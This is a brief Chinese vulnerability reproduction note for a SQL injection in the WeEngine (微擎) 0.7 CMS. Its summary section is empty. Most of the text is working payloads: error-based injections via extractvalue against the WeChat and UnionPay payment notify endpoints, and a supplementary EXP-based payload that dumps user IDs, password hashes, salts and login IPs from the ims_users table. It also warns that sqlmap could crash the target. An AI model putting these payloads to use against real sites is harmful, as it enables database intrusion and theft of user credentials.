微擎 0.7 sql注入漏洞

一、漏洞简介

二、漏洞影响

微擎 0.7

三、复现过程

此洞切记不可用sqlmap直接跑,否则会造成网站瘫痪。

  1. http://www.0-sec.org/payment/wechat/notify.php?attach[]=1'and extractvalue(1, concat(0x5c, (select user()))),'1
  2. http://www.0-sec.org/payment/unionpay/notify.php
  3. post:
  4. reqReserved[]=1'and extractvalue(1, concat(0x5c, (select user()))),'1

补充:

  1. 1)AND(EXP(~(SELECT*from(select group_concat(0x7B,uid,0x23,password,0x23,salt,0x23,lastvisit,0x23,lastip,0x7D) from we77.ims_users)a))) AND (1